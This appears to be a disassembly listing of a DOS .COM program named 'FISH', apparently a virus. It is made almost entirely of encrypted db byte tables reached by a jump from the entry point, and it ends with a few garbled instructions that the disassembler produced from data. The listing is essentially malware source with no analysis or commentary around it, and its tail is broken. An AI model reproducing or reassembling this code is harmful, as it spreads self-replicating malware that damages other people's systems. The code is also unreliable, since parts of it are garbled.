  
PAGE  59,132
  
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;лл								         лл
;лл			        FISH				         лл
;лл								         лл
;лл      Created:						         лл
;лл      Version:						         лл
;лл      Passes:    5	       Analysis Options on: H		         лл
;лл								         лл
;лл								         лл
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
  
data_1e		equ	0B3h			; (7415:00B3=0)
data_9e		equ	4F0Dh			; (7415:4F0D=0)
data_10e	equ	0A61Bh			; (7415:A61B=0)
  
seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a
  
  
		org	100h
  
fish		proc	far
  
start:
		jmp	loc_6			; (0EDE)
		db	50h, 0F5h, 2Bh, 0D6h, 7Eh, 0BFh
		db	2Ch, 7Fh, 0F3h, 0A4h, 7, 1Fh
		db	5Fh, 0, 0E9h, 0CAh, 0Dh, 0CDh
		db	20h, 0B9h, 50h, 0, 0BEh
		db	' is a tiny VOM p'
		db	0EBh, 7Ah, 67h, 72h, 61h, 6Dh
		db	0, 9Ch, 2Eh, 0FFh, 1Eh, 35h
		db	0Eh, 0C3h, 0Dh, 4Eh, 42h, 49h
		db	23h, 82h, 0Bh, 0E7h, 3, 91h
		db	5Dh, 5Eh, 5Ch, 5Fh, 5Bh, 5Ah
		db	13h, 0Bh, 23h, 0F2h, 2Bh, 0E7h
		db	3, 23h, 82h, 0Bh, 0E7h, 3
		db	0Ah, 12h, 52h, 53h, 57h, 54h
		db	56h, 55h, 90h, 23h, 0F2h, 2Bh
		db	0E7h, 3, 5Eh, 45h, 4Ch, 5Fh
		db	46h, 23h, 84h, 2Bh, 5Ah, 2
		db	23h, 81h, 1Bh, 54h, 2, 3
		db	1Ah, 23h, 86h, 2Bh, 56h, 2
		db	23h, 0E5h, 0DEh, 0F2h, 23h, 83h
		db	1Bh, 54h, 2, 23h, 84h, 2Bh
		db	56h, 2, 23h, 86h, 2Bh, 5Ah
		db	2, 0CEh, 23h, 84h, 2Bh, 5Ah
		db	2, 23h, 81h, 1Bh, 54h, 2
		db	3, 1Ah, 23h, 86h, 2Bh, 56h
		db	2, 23h, 0E5h, 96h, 0F2h, 23h
		db	83h, 1Bh, 54h, 2, 23h, 84h
		db	2Bh, 56h, 2, 23h, 86h, 2Bh
		db	5Ah, 2, 0CEh, 81h, 0B3h, 46h
		db	3, 23h, 0C9h, 33h, 38h, 3
		db	3, 12h, 0F1h, 0B4h, 8, 0Dh
		db	0A1h, 2Bh, 8Bh, 8, 85h, 49h
		db	0F2h, 4Ah, 0EFh, 0FBh, 0CEh, 4Eh
		db	4Ch, 5Fh, 5Dh, 0BDh, 0Ch, 3
		db	12h, 0B7h, 0BAh, 1, 0E5h, 0Ch
		db	0Dh, 0CEh, 0Bh, 5Eh, 3Eh, 0D6h
		db	83h, 0CEh, 87h, 0D5h, 0DCh, 0EEh
		db	0DCh, 0EEh, 2Bh, 84h, 1Ah, 2Bh
		db	81h, 52h, 0Fh, 56h, 0Ah, 0CEh
		db	13h, 5Bh, 3Eh, 0FBh, 83h, 0D3h
		db	3Fh, 0E9h, 86h, 0FDh, 0DCh, 0EBh
		db	0DCh, 0EBh, 86h, 11h, 83h, 49h
		db	0Fh, 53h, 12h, 0CEh, 4Fh, 4Ch
		db	5Eh, 5Eh, 0E5h, 0BDh, 0Fh, 0B4h
		db	0E5h, 5Bh, 7, 83h, 23h, 0AEh
		db	0EEh, 3, 0B9h, 5Fh, 23h, 0CAh
		db	0Bh, 56h, 2, 0Dh, 1Dh, 23h
		db	81h, 13h, 48h, 3, 0E5h, 8Dh
		db	6, 0E6h, 0C0h, 2Ch, 2Bh, 86h
		db	4Ah, 0F3h, 23h, 0AEh, 4Ah, 3
		db	3, 12h, 0E5h, 3Dh, 7, 0ACh
		db	0BDh, 2Ch, 0E5h, 0BEh, 0F2h, 81h
		db	0Bh, 22h, 3, 84h, 13h, 20h
		db	3, 0B7h, 0BAh, 1, 0BDh, 0Ch
		db	0CBh, 0Bh, 5Dh, 3, 0Dh, 0E5h
		db	85h, 0F2h, 91h, 55h, 0, 0Dh
		db	0Ch, 5Dh, 90h, 91h, 0B9h, 6Ch
		db	0F2h, 13h, 20h, 3, 91h, 55h
		db	28h, 0F2h, 0F3h, 5Dh, 90h, 0E5h
		db	0ECh, 0Ch, 0AEh, 0C9h, 33h, 20h
		db	3, 81h, 0Bh, 3Ah, 3, 0CBh
		db	0Bh, 46h, 3, 0E7h, 0CAh, 0Bh
		db	41h, 3, 56h, 0, 84h, 33h
		db	38h, 3, 81h, 3, 43h, 3
		db	0E5h, 0Ah, 0Dh, 0E5h, 2Bh, 0F2h
		db	0E5h, 1Ah, 7, 84h, 0BDh, 22h
		db	0E5h, 56h, 0F2h, 81h, 0CEh, 23h
		db	34h, 13h, 4Ah, 3, 7Eh, 11h
		db	0E5h, 32h, 7, 23h, 83h, 13h
		db	22h, 3, 23h, 0F2h, 3Bh, 20h
		db	3, 57h, 0BDh, 1Eh, 0E5h, 24h
		db	0F2h, 3Eh, 0D6h, 83h, 0D6h, 0CBh
		db	0Bh, 78h, 9, 0Fh, 0CEh
		db	'-KD^E-[D_X^-.;- -HLNE-IDKK- -OBC'
		db	'C-?"4=-*sfcwt{bp*)'
		db	0E5h, 0CFh, 0F3h, 23h, 81h, 3
		db	43h, 3, 0E5h, 0B7h, 0F3h, 3
		db	12h, 13h, 0Ah, 0ACh, 48h, 3
		db	83h, 0CDh, 2Bh, 0C8h, 1Bh, 7
		db	0Dh, 83h, 0D5h, 8, 1Dh, 0Dh
		db	23h, 0Ch, 0Bh, 17h, 0Dh, 23h
		db	8Dh, 33h, 2Dh, 0Dh, 0Dh, 0F6h
		db	78h, 29h, 23h, 0ACh, 9, 0Dh
		db	0AEh, 0Dh, 0Ch, 23h, 0ACh, 0Bh
		db	0Dh, 0AEh, 0Fh, 0Ch, 23h, 0ACh
		db	5, 0Dh, 0AEh, 9, 0Ch, 23h
		db	0F2h, 3Bh, 48h, 3, 3Eh, 0CDh
		db	0F3h, 0C9h, 5Dh, 23h, 0ACh, 0EEh
		db	3, 0C6h, 23h, 0Ch, 0Bh, 1Fh
		db	0Dh, 23h, 0ACh, 0EEh, 3, 23h
		db	86h, 2Bh, 19h, 0Dh, 23h, 83h
		db	1Bh, 1Fh, 0Dh, 23h, 0F2h, 23h
		db	15h
		db	0Dh, 59h, 5Fh, 42h, 58h, 59h
loc_1:
		db	3Eh, 0E9h, 0E5h, 0Dh, 0Dh, 84h
		db	0C8h, 81h, 0C5h, 0B6h, 1Dh, 0Dh
		db	0FAh, 0EEh, 54h, 8Ch, 0E4h, 42h
		db	0Fh, 0Eh, 0CCh, 8Eh, 0DFh, 0Dh
		db	0FAh, 0FEh, 5Dh, 0B5h, 0F7h, 0Dh
		db	5Dh, 84h, 0E5h, 0C6h, 0E5h, 0C1h
		db	0Dh, 0C0h, 0E5h, 29h, 7, 0C6h
		db	5Eh, 86h, 0D1h, 3Bh, 86h, 52h
		db	0Bh, 23h, 84h, 13h, 0BEh, 3
		db	56h, 58h, 84h, 0E8h, 0E5h, 0DDh
		db	5, 0AEh, 0E5h, 0FCh, 0F0h, 0E5h
		db	19h, 0F3h, 0E5h, 0CBh, 0F0h, 0E5h
		db	95h, 0F0h, 0E5h, 0CDh, 5, 85h
		db	8Dh, 0F1h, 2, 78h, 9, 0E4h
data_3		dw	0DE4h			; Data table (indexed access)
		db	0B5h, 8Dh, 0F1h, 1Ch, 78h, 9
		db	0E4h, 96h, 0Dh, 0ACh, 8Dh, 0F1h
		db	1Fh, 78h, 9, 0E4h, 9Fh, 0Dh
		db	84h, 8Dh, 0F1h, 19h, 78h, 9
		db	0E4h, 4, 0Ch, 0E6h, 8Dh, 0F1h
		db	2Ch, 78h, 9, 0E4h, 0F9h, 0Dh
		db	81h, 8Dh, 0F1h, 2Eh, 78h, 9
		db	0E4h
data_4		db	89h			; Data table (indexed access)
		db	0Ch, 0AEh, 8Dh, 0F1h, 2Ah, 78h
		db	9, 0E4h, 0EDh, 0Dh, 0E6h, 8Dh
		db	0F1h, 30h, 78h, 9, 0E4h, 0CBh
data_5		dw	0F20Ch			; Data table (indexed access)
		db	8Dh, 0F1h, 33h, 78h, 9, 0E4h
		db	0Ch, 0Fh, 0ACh, 8Dh, 0F1h, 32h
		db	78h, 9, 0E4h, 70h, 0Ah, 85h
		db	8Dh, 0F1h, 4Fh, 78h, 9, 0E4h
		db	4Fh, 0Ah, 81h, 8Dh, 0F1h, 46h
		db	78h, 9, 0E4h, 11h, 0Fh, 0E6h
		db	8Dh, 0F1h, 43h, 78h, 9, 0E4h
		db	5Eh, 5, 84h, 8Dh, 0F1h, 42h
		db	78h, 9, 0E4h, 47h, 5, 83h
		db	8Dh, 0F1h, 5Ah, 78h, 0Eh, 0E4h
		db	0C2h, 0Bh, 0E4h, 5Ah, 4, 0E6h
		db	0E5h, 7Fh, 4, 0ACh, 0E5h, 5Eh
		db	0F0h, 0E5h, 7Bh, 0F0h, 0E5h, 25h
		db	0F0h, 84h, 0E8h, 23h, 0F2h, 3Bh
		db	0BEh, 3, 82h, 4Bh, 0Bh, 50h
		db	0C2h, 23h, 0F2h, 0Bh, 3Ch, 3
		db	0E4h, 19h, 5, 0ACh, 0E5h, 0F5h
		db	0F1h, 0E5h, 0DAh, 0F1h, 7, 0CDh
		db	78h, 0D9h, 0E5h, 0D6h, 0F1h, 0E5h
		db	0CCh, 0Ch, 0BDh, 0Dh, 8Dh, 32h
		db	0F2h, 78h, 0Bh, 87h, 4Ah, 0Bh
		db	8Eh, 0CEh, 0Ah, 23h, 2Dh, 0Bh
		db	0FDh, 3, 0FBh, 4Ah, 17h, 8Dh
		db	79h, 18h, 8Dh, 62h, 17h, 0C5h
		db	23h, 8Dh, 33h, 0FDh, 3, 0Dh
		db	78h, 4, 8Ch, 62h, 10h, 0Dh
		db	3, 8Eh, 52h, 12h, 0Dh, 0E5h
		db	0B6h, 0F1h, 0E6h, 91h, 4Bh, 44h
		db	43h, 0E5h, 0BEh, 0F1h, 0E5h, 9Fh
		db	0F1h, 0E5h, 97h, 0F1h, 7, 0CDh
		db	78h, 0E6h, 84h, 0DEh, 0FBh, 4Ah
		db	18h, 8Dh, 79h, 0EEh, 8Dh, 62h
		db	18h, 0C5h, 8Ch, 62h, 1Dh, 0Dh
		db	3, 8Dh, 52h, 1Fh, 0Dh, 0E6h
		db	0D9h, 23h, 0F2h, 3, 3Ch, 3
		db	0E4h, 0AFh, 0Ah, 0AEh, 0EEh, 16h
		db	84h, 0DEh, 86h, 7Ah, 2Ch, 6
		db	7Ah, 2Eh, 78h, 1Ch, 0E6h, 7
		db	84h, 0DEh, 86h, 4Ah, 1, 7
		db	4Ah, 2Dh, 78h, 8, 0E5h, 0EEh
		db	9, 7Eh, 0Eh, 0E4h, 45h, 0F2h
		db	0E5h, 6Bh, 0F1h, 0E5h, 5Dh, 0F1h
		db	0E5h, 4Fh, 0F1h, 84h, 43h, 0F5h
		db	84h, 4Bh, 0F1h, 13h, 5Fh, 0E5h
		db	26h, 0Ch, 8Eh, 72h, 19h, 0Ch
		db	79h, 16h, 86h, 0Ah, 0Eh, 4Ah
		db	0Fh, 5Eh, 86h, 52h, 9, 0FAh
		db	0DEh, 0Ch, 0D5h, 56h, 79h, 6
		db	8Eh, 0C9h, 9, 0E4h, 76h, 0F2h
		db	40h, 58h, 5Eh, 46h, 54h, 57h
		db	12h, 84h, 0DBh, 3, 0Ah, 0B4h
		db	28h, 0Dh, 0B2h, 0B8h, 3, 0FEh
		db	0A9h, 0B2h, 0B8h, 3, 3, 12h
		db	86h, 58h, 1Fh, 86h, 48h, 1Dh
		db	8, 2, 3, 8Eh, 0DFh, 0Dh
		db	28h, 0FDh, 0F2h, 84h, 58h, 1Fh
		db	84h, 48h, 1Dh, 20h, 0F1h, 0
		db	8Eh, 0D7h, 0Dh, 84h, 58h, 2Eh
		db	84h, 48h, 2Ch, 0B4h, 11h, 0Dh
		db	0CAh, 48h, 3, 0Ch, 0Dh, 0B9h
		db	2Ah, 84h, 0F7h, 0E5h, 0DEh, 0F6h
		db	0E4h, 3Dh, 0F2h, 3, 0Ah, 0B2h
		db	0B8h, 3, 0B4h, 28h, 0Dh, 84h
		db	0DBh, 0FEh, 0A9h, 13h, 5Fh, 3
		db	12h, 0B9h, 2, 0B7h, 0B8h, 3
		db	0E5h, 0B5h, 0F6h, 0B9h, 1Dh, 0E5h
		db	0BEh, 0F6h, 0FBh, 0Bh, 0C7h, 3
		db	8Dh, 53h, 12h, 79h, 26h, 23h
		db	0C9h, 13h, 0C8h, 3, 81h, 0CDh
		db	8Ch, 0E6h, 0Dh, 3, 10h, 0Dh
		db	0Dh, 3Eh, 0DFh, 23h, 86h, 3
		db	0CEh, 3, 44h, 0Ch, 0C6h, 18h
		db	0Dh, 0Dh, 4Ch, 0FAh, 0FCh, 84h
		db	49h, 2Eh, 9Fh, 9Eh, 0FAh, 0FCh
		db	84h, 49h, 2Ch, 0E4h, 0D2h, 0F3h
		db	0E4h, 74h, 0F3h, 0E5h, 61h, 9
		db	0E5h, 18h, 9, 7Fh, 34h, 23h
		db	8Dh, 33h, 0AFh, 3, 0Dh, 79h
		db	3Ch, 0E5h, 64h, 9, 8Eh, 0F6h
		db	0F2h, 79h, 24h, 23h, 0F3h, 3
		db	0AFh, 3, 3, 0Ah, 0B4h, 19h
		db	0Dh, 0B2h, 5Fh, 3, 3Eh, 0CDh
		db	0FFh, 0A2h, 23h, 0ACh, 0AEh, 3
		db	2Bh, 84h, 48h, 0F3h, 2Bh, 84h
		db	50h, 2Bh, 84h, 53h, 0F1h, 23h
		db	8Dh, 2Bh, 0BEh, 3, 0F3h, 0E4h
		db	96h, 0F3h, 0E4h, 38h, 0F3h, 3
		db	0Ah, 0E5h, 2Bh, 9, 0B4h, 19h
		db	0Dh, 23h, 0ACh, 0AEh, 3, 0B2h
		db	5Fh, 3, 0FFh, 0A2h, 78h, 1Bh
		db	2Bh
loc_2:
		db	36h, 50h, 2Bh, 78h, 0FBh, 2Bh
		db	0CAh, 48h, 0F3h, 0Dh, 0Dh, 0E5h
		db	1Ah, 0Fh, 23h, 0F3h, 0Bh, 0AFh
		db	3, 0E6h, 0C6h, 0E4h, 4, 0F3h
		db	0B9h, 22h, 0Bh, 0E5h, 0Bh, 0F6h
		db	0Bh, 12h, 0Ah, 0CEh, 7, 0CDh
		db	79h, 0Eh, 0E4h, 5Bh, 0Ch, 13h
		db	5Fh, 23h, 81h, 0Bh, 2Bh, 3
		db	23h, 84h, 13h, 29h, 3, 23h
		db	0C8h, 3Bh, 29h, 3, 0B4h, 3
		db	0Dh, 0B2h, 0FCh, 3, 3, 0Ah
		db	0FEh, 0A9h, 53h, 12h, 0B4h, 5Dh
		db	0Dh, 0B2h, 0Ah, 2, 0FEh, 0A9h
		db	0B6h, 0F2h, 0F2h, 0E5h, 0E3h, 0F7h
		db	50h, 23h, 82h, 0Bh, 0EBh, 3
		db	23h, 82h, 0Bh, 0E5h, 3, 23h
		db	82h, 0Bh, 0BEh, 3, 3, 0B5h
		db	0Ch, 46h, 0Ah, 91h, 0B6h, 0FCh
		db	3, 23h, 0F2h, 13h, 38h, 3
		db	7Eh, 2Dh, 23h, 8Eh, 3, 0BEh
		db	3, 0Ch, 23h, 0F2h, 3Bh, 0BEh
		db	3, 23h, 0F2h, 3Bh, 0E5h, 3
		db	23h, 0F2h, 3Bh, 0EBh, 3, 58h
		db	23h, 0C9h, 13h, 29h, 3, 84h
		db	0E8h, 0E4h, 9Ch, 0F0h, 0E5h, 8Dh
		db	0Eh, 3, 0Ah, 0B4h, 19h, 0Dh
		db	0B2h, 5Fh, 3, 23h, 0ACh, 0AEh
		db	3, 0FFh, 0A2h, 78h, 0, 2Bh
		db	0CAh, 48h, 0F3h, 0Dh, 0Dh, 23h
		db	0F3h, 0Bh, 0AFh, 3, 0E6h, 0E6h
		db	23h, 0C8h, 3Bh, 0Eh, 2, 8Eh
		db	0F3h, 0Ch, 78h, 39h, 86h, 1Bh
		db	17h, 0Dh, 8Eh, 0CFh, 1Dh, 0B9h
		db	5Ch, 0E5h, 57h, 0F7h, 0Eh, 0DEh
		db	23h, 84h, 1Bh, 8, 2, 0F2h
		db	3Bh, 15h, 0Dh, 23h, 82h, 0Bh
		db	0Eh, 2, 0Eh, 13h, 1Fh, 0Dh
		db	8Eh, 0CEh, 1Dh, 23h, 84h, 13h
		db	0Ch, 2, 0F2h, 3Bh, 19h, 0Dh
		db	23h, 82h, 0Bh, 0F2h, 3, 0E4h
		db	25h, 0Dh, 86h, 9, 0Eh, 49h
		db	0Fh, 5Eh, 86h, 51h, 9, 0FAh
		db	0DEh, 0Ch, 0D5h, 56h, 79h, 6Ch
		db	3, 12h, 0B7h, 0Ah, 2, 0E5h
		db	0B4h, 0Fh, 0E5h, 1Ah, 0Eh, 23h
		db	0F3h, 0Bh, 0E2h, 3, 0E5h, 1Dh
		db	0Ch, 23h, 0F3h, 3, 0E2h, 3
		db	0B9h, 5Ch, 0E5h, 8, 0F7h, 0E5h
		db	50h, 0F7h, 0E5h, 8Dh, 0F7h, 0E5h
		db	3Fh, 0F7h, 83h, 0D6h, 83h, 0CEh
		db	23h, 0F2h, 3Bh, 0BEh, 3, 23h
		db	0F2h, 3Bh, 0E5h, 3, 23h, 0F2h
		db	3Bh, 0EBh, 3, 82h, 0Bh, 7
		db	0Dh, 82h, 0Bh, 1, 0Dh, 13h
		db	0BDh, 2Fh, 0C8h, 1Bh, 7, 0Dh
		db	0E5h, 8Dh, 0F7h, 12h, 90h, 55h
		db	23h, 86h, 2Bh, 0F2h, 3, 23h
		db	83h, 1Bh, 0Ch, 2, 23h, 0F2h
		db	23h, 0Eh, 2, 5Eh, 42h, 41h
		db	48h, 86h, 51h, 0Ch, 86h, 8Dh
		db	34h, 0FFh, 84h, 9, 86h, 8Dh
		db	36h, 0FFh, 84h, 49h, 0Fh, 86h
		db	8Dh, 30h, 0FFh, 84h, 49h, 9
		db	0E5h, 0DAh, 0Eh, 0E6h, 96h, 31h
		db	0Ch, 79h, 0Eh, 0E4h, 96h, 0F1h
		db	23h, 8Eh, 3, 0BEh, 3, 0Ch
		db	23h, 81h, 0Bh, 2Bh, 3, 23h
		db	84h, 13h, 29h, 3, 0E5h, 0A4h
		db	0F4h, 0E5h, 85h, 0F4h, 0E5h, 9Dh
		db	0F4h, 23h, 0C9h, 13h, 29h, 3
		db	2Bh, 0C8h, 7Ah, 1Fh, 7Fh, 79h
		db	23h, 8Dh, 2Bh, 0BEh, 3, 0F3h
		db	8Eh, 0F3h, 0Ch, 79h, 24h, 86h
		db	9, 0Eh, 49h, 0Fh, 5Eh, 86h
		db	51h, 9, 0FAh, 0DEh, 0Ch, 0D5h
		db	56h, 78h, 48h, 86h, 51h, 0Ch
		db	86h, 8Dh, 34h, 0FFh, 84h, 9
		db	86h, 8Dh, 36h, 0FFh, 84h, 49h
		db	0Fh, 86h, 8Dh, 30h, 0FFh, 84h
		db	49h, 9, 0E6h, 21h, 86h, 1Bh
		db	17h, 0Dh, 0E5h, 3Fh, 0Fh, 23h
		db	86h, 3, 0AEh, 3, 8Eh, 0CCh
		db	1Dh, 0Ch, 0C7h, 2Bh, 84h, 5Ah
		db	19h, 0ACh, 15h, 0Dh, 2Bh, 84h
		db	4Ah, 1Fh, 0ACh, 1Fh, 0Dh, 0Eh
		db	0CCh, 2Bh, 84h, 4Ah, 1Dh, 0ACh
		db	19h, 0Dh, 2Bh, 84h, 4Ah, 3
		db	0E5h, 7, 0Fh, 23h, 83h, 13h
		db	0AEh, 3, 86h, 4Bh, 0Fh, 0AEh
		db	7, 0Dh, 86h, 4Bh, 9, 0AEh
		db	1, 0Dh, 0E4h, 6Eh, 0F1h, 4Bh
		db	44h, 5Eh, 45h, 0E5h, 0A6h, 9
		db	0E5h, 0D1h, 0Dh, 0CBh, 0Bh, 2Dh
		db	0Dh, 0Ch, 8Ch, 33h, 0Dh, 3
		db	40h, 57h, 79h, 3, 8Ch, 33h
		db	0Dh, 3, 57h, 40h, 79h, 0Bh
		db	0F3h, 3, 2Dh, 0Dh, 79h, 55h
		db	0ACh, 9, 3, 0DCh, 0ECh, 0FAh
		db	0ECh, 8, 0Dh, 0Fh, 34h, 0FDh
		db	7Fh, 45h, 0ACh, 7, 3, 6
		db	0Bh, 1, 3, 79h, 32h, 86h
		db	1Bh, 0A6h, 3, 0B4h, 0Dh, 0Fh
		db	0ACh, 0A4h, 3, 0FAh, 0FCh, 6
		db	0DFh, 79h, 0Ch, 4Dh, 84h, 1Bh
		db	0Fh, 3, 0AEh, 9, 3, 8Eh
		db	33h, 19h, 3, 0Ch, 79h, 60h
		db	0CAh, 0Bh, 19h, 3, 0Ch, 0Dh
		db	86h, 0CBh, 26h, 0Bh, 5, 3
		db	0AEh, 1Bh, 3, 8Eh, 0Bh, 9
		db	3, 0Ah, 0CAh, 0Bh, 1Dh, 3
		db	0Dh, 3, 0AEh, 3, 3, 0E5h
		db	0C0h, 0Dh, 0E6h, 46h, 8Ch, 0F3h
		db	0Dh, 2, 7Eh, 48h, 0ACh, 0Dh
		db	3, 0AEh, 9, 0Dh, 0Ch, 0CFh
		db	0ACh, 0Fh, 3, 0AEh, 0Bh, 0Dh
		db	0Ch, 0CFh, 0ACh, 9, 3, 0AEh
		db	5, 0Dh, 0FAh, 0DDh, 0Ch, 0CFh
		db	79h, 24h, 0ACh, 0FFh, 3, 29h
		db	9, 78h, 2Fh, 0BCh, 0E4h, 0B5h
		db	1Dh, 0Dh, 85h, 3, 0Dh, 3
		db	0FAh, 0EBh, 8, 0C6h, 0, 0AEh
		db	0Ch, 3, 0ACh, 0Dh, 3, 0Eh
		db	0Bh, 0Fh, 3, 0FAh, 0D5h, 0FAh
		db	0DDh, 0AEh, 9, 3, 0E5h, 8Dh
		db	0Dh, 0B9h, 33h, 0E5h, 3Bh, 0F5h
		db	23h, 86h, 3, 0FFh, 3, 0B5h
		db	0Ch, 4Eh, 23h, 86h, 1Bh, 0F9h
		db	3, 23h, 83h, 13h, 0FBh, 3
		db	0E5h, 2Ch, 0F5h, 0E5h, 40h, 9
		db	0CEh, 3, 0B5h, 0Dh, 5Ah, 12h
		db	0E5h, 18h, 0F5h, 84h, 3, 24h
		db	3, 0B5h, 0Dh, 4Fh, 84h, 1Bh
		db	26h, 3, 3Eh, 0C4h, 3Eh, 0DFh
		db	0E5h, 0Eh, 0F5h, 0B9h, 32h, 0B7h
		db	0Dh, 3, 0BCh, 11h, 0E5h, 0F4h
		db	0FAh, 3Eh, 0C4h, 0B5h, 0Dh, 4Fh
		db	3Eh, 0DFh, 0E5h, 0E2h, 0FAh, 0BCh
		db	11h, 0B9h, 32h, 0B7h, 9, 0Dh
		db	0E5h, 0E8h, 0FAh, 3Eh, 0C4h, 0B5h
		db	0Fh, 4Fh, 86h, 0DCh, 0E5h, 0D6h
		db	0FAh, 84h, 1Bh, 0A6h, 3, 0AEh
		db	0A4h, 3, 86h, 0F5h, 8, 2
		db	0Dh, 8Eh, 0DFh, 0Dh, 28h, 0FDh
		db	0F2h, 24h, 0CAh, 0B4h, 1Dh, 0Dh
		db	0FAh, 0FCh, 86h, 0FDh, 0CEh, 5Dh
		db	44h, 46h, 48h, 3Eh, 0C4h, 0B5h
		db	0Dh, 4Fh, 86h, 0DCh, 0E5h, 0BCh
		db	0FAh, 0BCh, 11h, 0B9h, 4Dh, 0B7h
		db	0Dh, 3, 0E5h, 0AAh, 0FAh, 0B5h
		db	1Dh, 0Dh, 0FAh, 0EBh, 86h, 0C7h
		db	86h, 0DDh, 0B5h, 0Dh, 4Fh, 0E5h
		db	95h, 0FAh, 0B4h, 0Dh, 3, 3Eh
		db	0DFh, 0Ch, 0F4h, 0B9h, 4Dh, 23h
		db	0CBh, 0Bh, 3Eh, 3, 0Ch, 5Eh
		db	0E5h, 0D0h, 9, 56h, 86h, 3
		db	24h, 3, 0B5h, 0Ch, 5Ah, 86h
		db	1Bh, 26h, 3, 0FBh, 0CBh, 8Dh
		db	78h, 0Eh, 8Dh, 0CBh, 0C5h, 0E5h
		db	63h, 0FAh, 0CEh, 0E5h, 0C8h, 0FAh
		db	84h, 0DAh, 8Eh, 0CAh, 0, 13h
		db	0Ah, 0E6h, 2Dh, 0E5h, 0B4h, 0FAh
		db	13h, 0Ah, 0B4h, 5Dh, 0Dh, 84h
		db	0DAh, 0BEh, 0Dh, 3Eh, 0CDh, 8Dh
		db	70h, 0Ch, 37h, 78h, 8, 87h
		db	10h, 8Dh, 0EEh, 12h, 23h, 85h
		db	13h, 25h, 3, 0FFh, 0A3h, 86h
		db	48h, 0F0h, 28h, 0D2h, 0D2h, 0Fh
		db	0EDh, 87h, 48h, 0F1h, 29h, 0D2h
		db	0Fh, 0C9h, 23h, 0CBh, 0Bh, 2Dh
		db	0Dh, 0Dh, 31h, 0D2h, 79h, 4
		db	23h, 0F3h, 0Bh, 2Dh, 0Dh, 31h
		db	0EFh, 78h, 0, 0E5h, 5Fh, 0FAh
		db	0F5h, 0CEh
		db	'@LNFH_HA'
		db	0E5h, 48h, 0FAh, 0F4h, 0CEh, 5Eh
		db	0B9h, 5Ch, 0E5h, 0Ah, 0FAh, 23h
		db	84h, 13h, 0AEh, 3, 56h, 0CEh
		db	0E5h, 0A1h, 0Fh, 5Fh, 0B9h, 3Bh
		db	23h, 87h, 1Bh, 25h, 3, 0E5h
		db	0FFh, 0FBh, 0FAh, 0ECh, 0FAh, 0EEh
		db	84h, 0DEh, 57h, 6, 0D6h, 78h
		db	8, 30h, 0Dh, 4Dh, 7Fh, 45h
		db	0B5h, 0Dh, 4Eh, 0E5h, 0D1h, 0FBh
		db	7Fh, 4Dh, 23h, 84h, 1Bh, 0F9h
		db	3, 23h, 84h, 3, 0FFh, 3
		db	23h, 81h, 13h, 0FBh, 3, 0B5h
		db	0Ch, 4Eh, 3Eh, 0C4h, 0E5h, 0CEh
		db	0FBh, 23h, 8Dh, 33h, 0D7h, 3
		db	0Dh, 78h, 2Ch, 0B5h, 0Fh, 30h
		db	0E5h, 0B8h, 0FBh, 7Fh, 14h, 86h
		db	0D5h, 5Eh, 0B9h, 3Fh, 23h, 87h
		db	1Bh, 25h, 3, 0E5h, 0ABh, 0FBh
		db	86h, 4Ah, 13h, 23h, 0AEh, 0E1h
		db	3, 56h, 0E5h, 0C7h, 0Fh, 0CEh
		db	3Eh, 0D6h, 46h, 0E5h, 0CEh, 0Fh
		db	0CEh, 5Ch, 5Fh, 5Dh, 0B5h, 0Dh
		db	49h, 0E5h, 87h, 0FBh, 8Dh, 0FFh
		db	8Dh, 0FBh, 0CFh, 8Dh, 79h, 4
		db	0B5h, 0Dh, 5Ah, 0E5h, 71h, 0FBh
		db	0FBh, 0CBh, 8Dh, 55h, 57h, 54h
		db	0CEh, 0E5h, 0C0h, 0FBh, 3Eh, 0C4h
		db	0B5h, 0Ch, 4Fh, 3Eh, 0DFh, 0E5h
		db	65h, 0FBh, 23h, 84h, 1Bh, 0AAh
		db	3, 23h, 0AEh, 0A8h, 3, 0B5h
		db	0Fh, 4Fh, 3Eh, 0C4h, 3Eh, 0DFh
		db	0E5h, 58h, 0FBh
loc_3:
		and	ax,ds:data_10e[si]	; (7415:A61B=0)
		add	sp,[bp+di]
		scasb				; Scan es:[di] for al
		movsb				; Mov [si] to es:[di]
		add	si,ds:data_9e[di]	; (7415:4F0D=0)
		and	ax,[bp-57E5h]
